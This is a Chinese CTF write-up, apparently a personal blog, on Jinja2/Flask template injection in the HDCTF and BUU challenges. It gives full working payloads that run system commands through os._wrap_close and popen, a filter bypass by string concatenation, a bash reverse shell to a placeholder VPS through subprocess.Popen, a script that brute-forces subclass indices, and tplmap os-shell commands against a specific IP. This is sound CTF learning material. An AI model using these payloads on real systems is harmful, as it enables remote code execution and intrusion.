这个知识点是前几天从接触的,是因为创建HDCTF的比赛遇到的于是自己就来记录一下和学习一下
1. ezflask
这个题比较简单,直接一层一层的去找一找利用的类和函数就可以啦
记录一下自己的步骤:
1.{{''.__class__}} # 获得单引号的类型
2.{{''.__class__.__base__}} #获得object
3.{{''.__class__.__base__.__subclasses__()}}#获得基类
4.{{''.__class__.__base__.__subclasses__()[132]}}#这里我们利用的是<class 'os._wrap_close'>类
5.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__}}#将该类实例化并且全局搜索查找所有的方法、变量和参数
6.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}#利用popen函数执行命令
7.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()}}#最后获得flag
2. ezflask 2
hdctfezflask2地址
该题在ezflask的基础上做了一些过滤,前面寻找类和函数的方法还是一样
1.{{''.__class__}} # 获得单引号的类型
2.{{''.__class__.__base__}} #获得object
3.{{''.__class__.__base__.__subclasses__()}}#获得基类
4.{{''.__class__.__base__.__subclasses__()[132]}}#这里我们利用的是<class 'os._wrap_close'>类
5.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__}}#将该类实例化并且全局搜索查找所有的方法、变量和参数
6.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['po''pen']('ls').read()}}#利用popen函数执行命令,通过字符串拼接绕过。因为dict类型可以使用字符串拼接
7.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['pop''en']('cat fla''g').read()}}#最后获得flag
该题主要是通过字符串拼接绕过
原理是dict类型可以使用字符串拼接
3.fake google
地址buu平台
做法还是一样,只是利用的类位置不同,下面我会分享自己获得需要类位置的方法
1.{{''.__class__}} # 获得单引号的类型
2.{{''.__class__.__base__}} #获得object
3.{{''.__class__.__base__.__subclasses__()}}#获得基类
4.{{''.__class__.__base__.__subclasses__()[117]}}#这里我们利用的是os._wrap_close类
5.{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}#将该类实例化并且全局搜索查找所有的方法、变量和参数
6.{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['po''pen']('ls').read()}}#利用popen函数执行命令,通过字符串拼接绕过。因为dict类型可以使用字符串拼接
7.{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}#最后获得flag
也可以利用其它模块进行反弹shell
#利用该模块<class 'subprocess.Popen'>,位置是402
1.{{''.__class__.__base__.__subclasses__()[402]}}#获得该类
2.{{''.__class__.__base__.__subclasses__()[402]("bash -c "bash-i >&/dev/tcp/vps/端口 0>&1"",shell=True)}}#在自己的服务器上面nc -lvp 81开一个监听端口反弹shell
但是这里返回500,其它的题可以尝试
4. 如何获得我们想要subclasses下面的基类
方法一:利用脚本去跑或者bp跑一样的
#-*- coding:utf-8 -*-
#Firebasky
import requests as req
import time
url = "url?name="
for i in range(1,1000):
time.sleep(0.08)
payload = '{{"".__class__.__mro__[1].__subclasses__()['+str(i)+']}}'
print(payload)
r = req.get(url+payload)
if "os._wrap_close" in r.text:
print(i)
break
#{{"".__class__.__mro__[1].__subclasses__()[xxx]}}
方法二:复制下来利用python的for循环打印,然后放在notepad里面就可以看到每一行
5. 利用工具tplmap进行
安装:git clone https://github.com/epinna/tplmap
这里利用ezflask来演示
进入tplmap工具的目录.输入:python tplmap.py -u http://8.129.15.153:20022/?name=
然后就进入检测
拿shell:python tplmap.py -u http://8.129.15.153:20022/?name= --engine jinja2 --os-shell
success
上面的思路比较简单,后面会陆陆续续的分享其它的方法和思路